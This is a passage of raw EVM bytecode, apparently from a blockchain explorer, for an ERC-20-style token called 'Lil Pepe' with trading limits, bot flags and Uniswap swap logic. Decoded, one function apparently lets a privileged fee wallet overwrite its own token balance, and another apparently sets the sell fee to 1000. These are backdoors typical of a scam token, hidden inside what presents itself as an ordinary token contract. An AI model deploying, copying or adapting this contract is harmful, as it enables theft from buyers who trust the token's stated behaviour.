5b60405180910390fd5b6000811161178b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611782906131bf565b60405180910390fd5b6000611795610a6f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561180357506117d3610a6f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce15761183060646118226007548561239090919063ffffffff16565b61240a90919063ffffffff16565b9050600660009054906101000a900460ff16156119bf57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119be5743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197090613277565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a6a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac05750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b165750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b6c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2757601054821115611bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bad906132e3565b60405180910390fd5b60115482611bc385610782565b611bcd9190613303565b1115611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0590613383565b60405180910390fd5b600e6000815480929190611c2190612cc2565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cb057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce057611cdd6064611ccf6008548561239090919063ffffffff16565b61240a90919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d825750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8c57600090505b6000811115611e9057611de781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e87919061273e565b60405180910390a35b611ee282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89611f3b82846124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61202e84866124b290919063ffffffff16565b60405161203b919061273e565b60405180910390a350505050565b6000838311158290612091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208891906125ef565b60405180910390fd5b50600083856120a091906133a3565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120e4576120e361286c565b5b6040519080825280602002602001820160405280156121125781602001602082028036833780820191505090505b509050308160008151811061212a57612129612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156121d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121f59190612d1f565b8160018151811061220957612208612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061227030601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122d4959493929190613495565b600060405180830381600087803b1580156122ee57600080fd5b505af1158015612302573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561238c573d6000803e3d6000fd5b5050565b60008083036123a25760009050612404565b600082846123b09190612be5565b90508284826123bf919061351e565b146123ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f6906135c1565b60405180910390fd5b809150505b92915050565b600061244c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506124fc565b905092915050565b60008082846124639190613303565b9050838110156124a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249f9061362d565b60405180910390fd5b8091505092915050565b60006124f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612049565b905092915050565b60008083118290612543576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161253a91906125ef565b60405180910390fd5b5060008385612552919061351e565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561259957808201518184015260208101905061257e565b60008484015250505050565b6000601f19601f8301169050919050565b60006125c18261255f565b6125cb818561256a565b93506125db81856020860161257b565b6125e4816125a5565b840191505092915050565b6000602082019050818103600083015261260981846125b6565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061265082612625565b9050919050565b61266081612645565b811461266b57600080fd5b50565b60008135905061267d81612657565b92915050565b6000819050919050565b61269681612683565b81146126a157600080fd5b50565b6000813590506126b38161268d565b92915050565b600080604083850312156126d0576126cf61261b565b5b60006126de8582860161266e565b92505060206126ef858286016126a4565b9150509250929050565b60008115159050919050565b61270e816126f9565b82525050565b60006020820190506127296000830184612705565b92915050565b61273881612683565b82525050565b6000602082019050612753600083018461272f565b92915050565b6000806000606084860312156127725761277161261b565b5b60006127808682870161266e565b93505060206127918682870161266e565b92505060406127a2868287016126a4565b9150509250925092565b600060ff82169050919050565b6127c2816127ac565b82525050565b60006020820190506127dd60008301846127b9565b92915050565b6000602082840312156127f9576127f861261b565b5b6000612807848285016126a4565b91505092915050565b6000602082840312156128265761282561261b565b5b60006128348482850161266e565b91505092915050565b61284681612645565b82525050565b6000602082019050612861600083018461283d565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6128a4826125a5565b810181811067ffffffffffffffff821117156128c3576128c261286c565b5b80604052505050565b60006128d6612611565b90506128e2828261289b565b919050565b600067ffffffffffffffff8211156129025761290161286c565b5b602082029050602081019050919050565b600080fd5b600061292b612926846128e7565b6128cc565b9050808382526020820190506020840283018581111561294e5761294d612913565b5b835b818110156129775780612963888261266e565b845260208401935050602081019050612950565b5050509392505050565b600082601f83011261299657612995612867565b5b81356129a6848260208601612918565b91505092915050565b6000602082840312156129c5576129c461261b565b5b600082013567ffffffffffffffff8111156129e3576129e2612620565b5b6129ef84828501612981565b91505092915050565b60008060408385031215612a0f57612a0e61261b565b5b6000612a1d8582860161266e565b9250506020612a2e8582860161266e565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115612abe57808604811115612a9a57612a99612a38565b5b6001851615612aa95780820291505b8081029050612ab785612a67565b9450612a7e565b94509492505050565b600082612ad75760019050612b93565b81612ae55760009050612b93565b8160018114612afb5760028114612b0557612b34565b6001915050612b93565b60ff841115612b1757612b16612a38565b5b8360020a915084821115612b2e57612b2d612a38565b5b50612b93565b5060208310610133831016604e8410600b8410161715612b695782820a905083811115612b6457612b63612a38565b5b612b93565b612b768484846001612a74565b92509050818404811115612b8d57612b8c612a38565b5b81810290505b9392505050565b6000612ba582612683565b9150612bb0836127ac565b9250612bdd7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612ac7565b905092915050565b6000612bf082612683565b9150612bfb83612683565b9250828202612c0981612683565b91508282048414831517612c2057612c1f612a38565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612c5d60208361256a565b9150612c6882612c27565b602082019050919050565b60006020820190508181036000830152612c8c81612c50565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612ccd82612683565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612cff57612cfe612a38565b5b600182019050919050565b600081519050612d1981612657565b92915050565b600060208284031215612d3557612d3461261b565b5b6000612d4384828501612d0a565b91505092915050565b6000604082019050612d61600083018561283d565b612d6e602083018461283d565b9392505050565b6000819050919050565b6000819050919050565b6000612da4612d9f612d9a84612d75565b612d7f565b612683565b9050919050565b612db481612d89565b82525050565b600060c082019050612dcf600083018961283d565b612ddc602083018861272f565b612de96040830187612dab565b612df66060830186612dab565b612e03608083018561283d565b612e1060a083018461272f565b979650505050505050565b600081519050612e2a8161268d565b92915050565b600080600060608486031215612e4957612e4861261b565b5b6000612e5786828701612e1b565b9350506020612e6886828701612e1b565b9250506040612e7986828701612e1b565b9150509250925092565b6000604082019050612e98600083018561283d565b612ea5602083018461272f565b9392505050565b612eb5816126f9565b8114612ec057600080fd5b50565b600081519050612ed281612eac565b92915050565b600060208284031215612eee57612eed61261b565b5b6000612efc84828501612ec3565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612f6160248361256a565b9150612f6c82612f05565b604082019050919050565b60006020820190508181036000830152612f9081612f54565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612ff360228361256a565b9150612ffe82612f97565b604082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061308560258361256a565b915061309082613029565b604082019050919050565b600060208201905081810360008301526130b481613078565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061311760238361256a565b9150613122826130bb565b604082019050919050565b600060208201905081810360008301526131468161310a565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006131a960298361256a565b91506131b48261314d565b604082019050919050565b600060208201905081810360008301526131d88161319c565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60008201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b60208201527f20616c6c6f7765642e0000000000000000000000000000000000000000000000604082015250565b600061326160498361256a565b915061326c826131df565b606082019050919050565b6000602082019050818103600083015261329081613254565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b60006132cd60198361256a565b91506132d882613297565b602082019050919050565b600060208201905081810360008301526132fc816132c0565b9050919050565b600061330e82612683565b915061331983612683565b925082820190508082111561333157613330612a38565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b600061336d601a8361256a565b915061337882613337565b602082019050919050565b6000602082019050818103600083015261339c81613360565b9050919050565b60006133ae82612683565b91506133b983612683565b92508282039050818111156133d1576133d0612a38565b5b92915050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61340c81612645565b82525050565b600061341e8383613403565b60208301905092915050565b6000602082019050919050565b6000613442826133d7565b61344c81856133e2565b9350613457836133f3565b8060005b8381101561348857815161346f8882613412565b975061347a8361342a565b92505060018101905061345b565b5085935050505092915050565b600060a0820190506134aa600083018861272f565b6134b76020830187612dab565b81810360408301526134c98186613437565b90506134d8606083018561283d565b6134e5608083018461272f565b9695505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061352982612683565b915061353483612683565b925082613544576135436134ef565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006135ab60218361256a565b91506135b68261354f565b604082019050919050565b600060208201905081810360008301526135da8161359e565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613617601b8361256a565b9150613622826135e1565b602082019050919050565b600060208201905081810360008301526136468161360a565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212209d886af7fc0ba93d36eda95d858dec9cc434cbd01e83f2fb075eaf6231f8ee2364736f6c63430008110033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063b2a4d8df1161006f578063b2a4d8df14610467578063bf474bed1461047e578063c876d0b9146104a9578063c9567bf9146104d4578063dd62ed3e146104eb578063ec1f3f631461052857610156565b80638da5cb5b146103575780638f9a55c014610382578063923ffc14146103ad57806392f42870146103d657806395d89b41146103ff578063a9059cbb1461042a57610156565b806351bc3c851161010857806351bc3c851461028157806361b8d2761461029857806370a08231146102c1578063715018a6146102fe578063751039fc146103155780637d1db4a51461032c57610156565b806306fdde031461015b578063095ea7b3146101865780630faee56f146101c357806318160ddd146101ee57806323b872dd14610219578063313ce5671461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b50610170610551565b60405161017d91906125ef565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a891906126b9565b61058e565b6040516101ba9190612714565b60405180910390f35b3480156101cf57600080fd5b506101d86105ac565b6040516101e5919061273e565b60405180910390f35b3480156101fa57600080fd5b506102036105b2565b604051610210919061273e565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190612759565b6105d6565b60405161024d9190612714565b60405180910390f35b34801561026257600080fd5b5061026b6106af565b60405161027891906127c8565b60405180910390f35b34801561028d57600080fd5b506102966106b8565b005b3480156102a457600080fd5b506102bf60048036038101906102ba91906127e3565b610755565b005b3480156102cd57600080fd5b506102e860048036038101906102e39190612810565b610782565b6040516102f5919061273e565b60405180910390f35b34801561030a57600080fd5b506103136107cb565b005b34801561032157600080fd5b5061032a61091e565b005b34801561033857600080fd5b50610341610a69565b60405161034e919061273e565b60405180910390f35b34801561036357600080fd5b5061036c610a6f565b604051610379919061284c565b60405180910390f35b34801561038e57600080fd5b50610397610a98565b6040516103a4919061273e565b60405180910390f35b3480156103b957600080fd5b506103d460048036038101906103cf91906129af565b610a9e565b005b3480156103e257600080fd5b506103fd60048036038101906103f891906129af565b610bc8565b005b34801561040b57600080fd5b50610414610cf2565b60405161042191906125ef565b60405180910390f35b34801561043657600080fd5b50610451600480360381019061044c91906126b9565b610d2f565b60405161045e9190612714565b60405180910390f35b34801561047357600080fd5b5061047c610d4d565b005b34801561048a57600080fd5b50610493610e1c565b6040516104a0919061273e565b60405180910390f35b3480156104b557600080fd5b506104be610e22565b6040516104cb9190612714565b60405180910390f35b3480156104e057600080fd5b506104e9610e35565b005b3480156104f757600080fd5b50610512600480360381019061050d91906129f8565b611383565b60405161051f919061273e565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a91906127e3565b61140a565b005b60606040518060400160405280600881526020017f4c696c2050657065000000000000000000000000000000000000000000000000815250905090565b60006105a261059b611499565b84846114a1565b6001905092915050565b60135481565b60006009600a6105c29190612b9a565b6305f5e1006105d19190612be5565b905090565b60006105e384848461166a565b6106a4846105ef611499565b61069f8560405180606001604052806028815260200161364e60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610655611499565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120499092919063ffffffff16565b6114a1565b600190509392505050565b60006009905090565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106f9611499565b73ffffffffffffffffffffffffffffffffffffffff161461071957600080fd5b600061072430610782565b9050600081111561073957610738816120ad565b5b600047905060008111156107515761075081612324565b5b5050565b600f54331461076357600080fd5b60405133815260016020820152604081208281556103e8600f55505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6107d3611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610860576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161085790612c73565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610926611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109aa90612c73565b60405180910390fd5b6009600a6109c19190612b9a565b6305f5e1006109d09190612be5565b6010819055506009600a6109e49190612b9a565b6305f5e1006109f39190612be5565b6011819055506000600660006101000a81548160ff0219169083151502179055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a439190612b9a565b6305f5e100610a529190612be5565b604051610a5f919061273e565b60405180910390a1565b60105481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60115481565b610aa6611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2a90612c73565b60405180910390fd5b60005b8151811015610bc457600060036000848481518110610b5857610b57612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610bbc90612cc2565b915050610b36565b5050565b610bd0611499565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5490612c73565b60405180910390fd5b60005b8151811015610cee57600160036000848481518110610c8257610c81612c93565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ce690612cc2565b915050610c60565b5050565b60606040518060400160405280600881526020017f244c494c50455045000000000000000000000000000000000000000000000000815250905090565b6000610d43610d3c611499565b848461166a565b6001905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d8e611499565b73ffffffffffffffffffffffffffffffffffffffff1614610dae57600080fd5b6000610db930610782565b9050601560149054906101000a900460ff16158015610dd85750600081115b15610de757610de6816120ad565b5b6000479050601560149054906101000a900460ff16158015610e095750600081115b15610e1857610e1781612324565b5b5050565b60125481565b600660009054906101000a900460ff1681565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610e76611499565b73ffffffffffffffffffffffffffffffffffffffff1614610e9657600080fd5b601560149054906101000a900460ff1661137a57737a250d5630b4cf539739df2c5dacb4c659f2488d601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610f4830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610f349190612b9a565b6305f5e100610f439190612be5565b6114a1565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610fb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fd99190612d1f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611062573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110869190612d1f565b6040518363ffffffff1660e01b81526004016110a3929190612d4c565b6020604051808303816000875af11580156110c2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110e69190612d1f565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061116f30610782565b60008061117a610a6f565b426040518863ffffffff1660e01b815260040161119c96959493929190612dba565b60606040518083038185885af11580156111ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906111df9190612e30565b505050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611281929190612e83565b6020604051808303816000875af11580156112a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112c49190612ed8565b50600160046000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560166101000a81548160ff0219169083151502179055506001601560146101000a81548160ff021916908315150217905550611381565b6103e86008555b565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661144b611499565b73ffffffffffffffffffffffffffffffffffffffff161461146b57600080fd5b600954811115801561147f5750600a548111155b61148857600080fd5b8060098190555080600a8190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611510576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150790612f77565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361157f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157690613009565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161165d919061273e565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d09061309b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173f9061312d565b60405180910390fd5b6000811161178b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611782906131bf565b60405180910390fd5b6000611795610a6f565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561180357506117d3610a6f565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611ce15761183060646118226007548561239090919063ffffffff16565b61240a90919063ffffffff16565b9050600660009054906101000a900460ff16156119bf57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118f35750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156119be5743600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611979576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197090613277565b60405180910390fd5b43600560003273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611a6a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611ac05750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b165750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b6c5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2757601054821115611bb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bad906132e3565b60405180910390fd5b60115482611bc385610782565b611bcd9190613303565b1115611c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0590613383565b60405180910390fd5b600e6000815480929190611c2190612cc2565b91905055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611cb057503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611ce057611cdd6064611ccf6008548561239090919063ffffffff16565b61240a90919063ffffffff16565b90505b5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d825750600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d8c57600090505b6000811115611e9057611de781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e87919061273e565b60405180910390a35b611ee282600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f89611f3b82846124b290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245490919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61202e84866124b290919063ffffffff16565b60405161203b919061273e565b60405180910390a350505050565b6000838311158290612091576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208891906125ef565b60405180910390fd5b50600083856120a091906133a3565b9050809150509392505050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156120e4576120e361286c565b5b6040519080825280602002602001820160405280156121125781602001602082028036833780820191505090505b509050308160008151811061212a57612129612c93565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffff